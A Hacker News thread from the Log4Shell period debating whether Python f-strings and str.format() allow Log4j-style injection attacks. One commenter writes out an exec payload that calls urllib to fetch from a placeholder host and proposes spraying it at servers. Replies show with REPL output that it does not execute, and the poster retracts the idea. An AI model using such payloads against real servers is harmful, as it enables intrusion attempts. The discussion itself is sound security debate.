Hacker News new | ask | show | jobs
by oneweekwonder 1649 days ago
Played around with python for a similar attack and while it needs import and usage of f-string's i was rather taken back how easy it would be to spam the internet with `f"""{exec("import urllib.request;urllib.request.urlopen('http://localhost:8000').read()")}"""` and variants, see what servers bite and then try to send them a more potent attack.

So i personally believe log4sh type attacks across languages will become a lot more common. Because the risk is relatively low and a lot can be automated.

2 comments

Python f-strings don't work like that. The expression is evaluated when the string constant is defined, not when it's used, so your scenario is "code execution leads to code execution".

  >>> def server(userdata):
  ...   print("Your data:", userdata)
  ... 
  >>> value = f"Printing... {print('Eval!')}"
  Eval!
  >>> server(value)
  Your data: Printing... None
Can you elaborate? I don't see how you would exploit Python with a string like that unless there's an `eval` somewhere in Python's logger? I wouldn't exactly put it past the language, for sure, but I'm not aware of that being the case.

The reason this works in the java library is that the library explicitly adds functionality to evaluate the strings that are passed in, and has a meta-language for computing based on those values.

The author of flask(and a lot more python stuff) goes a bit into detail here[0].

And as pointed out by another commenter my scenario is imaginary because user input needs to be passed to a f-strings. But I did update my original example with a tested `exec` because then you can import modules.

I do see my imaginary attack as low effort for a grey- or black-hat to automate and weaponize.

As mentioned/asked by parent, will we see mini renaissance of format string vulnerabilities, and I believe the answer is yes.

[0]: https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/

    Python 3.10.1 (main, Dec 11 2021, 17:22:55) [GCC 11.1.0] on linux
    Type "help", "copyright", "credits" or "license" for more information.
    >>> print(f"""{print("hello")}""")
    hello
    None

So Python runs the expression in { } and interpolates the result into the string.

Presumably the { } has access to anything that's in scope.

(I'm not quite sure how common patterns are, but I assume the person is replying to is imagining a scenario where an attack is able to put some string payload into the { } before interpolation.)

You may find that actually making this code to use data from user-provided data will make the code look quite unnatural and I doubt it would be accidentally written.

For example:

    >>> user_data='{print("helo"}}'
    >>> print(user_data)
    {print("helo"}}
    >>> print(f"{user_data}")
    {print("helo"}}
    >>> print(f"user_data")
    user_data
    >>> print(user_data.format())
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    KeyError: 'print("helo"'
Maybe there's some other way to express this bug?
Yeah, that's why I was quite skeptical about the exact scenario... it would probably look very out of place, but I don't have enough RW experience in Python to say for sure.
This is no more a vulnerability than that

     >>> x=5
     >>> print(x)
has access to X. A problem if, as parent asks,

> there's an `eval` somewhere in Python's logger

In my hypothetical scenario im not targeting the python logger but rather `''.format()` and f-strings that parse user input naively. A lot of people on /r/ mentions that they started to get '${jndi:...' in their server logs.

So malicious actors is already shotgunning the log4sh attack so what stop them from spamming `{exec("import urllib.request;urllib.request.urlopen('http://example.com').read()")}` and see what stick.

While my example is for python im sure other languages will have similar issues and we will see a rise in format string attacks.

I don't think this is right. .format() is not running any attacker controlled code. It might be formatting attacker controlled input, but the attacker has no control over the execution.

> o what stop them from spamming

Well I can't imagine how I would actually get that to turn into anything other than just a raw string that gets printed to the screen? Like I said, unless there's an eval somewhere it's not an issue.

edit: OK, I see the problem now. The flask article is a lot clearer.

The attacker can't control execution at all, or even really cause execution. What they can do is get your string to include information it should not - quite a footgun, but nothing close to RCE.

edit2: I maybe see a way this could be bad (if the attacker controls the format string that you call .format on), but I can't actually get it working myself.

So here's the thing. The attack as you've described does not work. Python won't just execute that string, you'll get a KeyError. What you need to do is, given a value provided to the string, call some sort of methods on that value such that you can perform your attack. This should be possible.

edit:

I'm trying to get this attack to work. So far, nah.

My assumptions are:

1. Attacker has full control over format string

2. `requests` is imported already (obviously you could just use the stdlib but I'm lazy)

3. An object or class is passed in

In theory I can construct a class from an object like this:

    Foo.__class__('requests', (requests.Request,), dict())()
    <Request [None]>

But so far that manifests as...

>>> "{0.__class__('requests', (requests.Request,), dict())()}".format(Foo) Traceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: type object 'Foo' has no attribute '__class__('requests', (requests'

It seems that Python does not just naively execute what's inside of this thing.

Similarly,

>>> "{0.__init__((lambda: requests.get('google.com'))())}".format(Foo) Traceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: type object 'Foo' has no attribute '__init__((lambda'

If there's a way to exploit this for actual code execution I can't find it easily.

f-strings don't "parse user input". .format doesn't have access to objects not explicitly provided to the call, and can't call functions. So again, how do you intend to trigger any of this if not through a hypothetical logger that uses eval?
Thanks for invalidating my naive/fud scenario, I must apologize for fearmongering, when I played with it in a py repl it really felt like a vector for attack.

I up-voted all parties trying to prove me wrong, and someone already down-voted me(rightfully).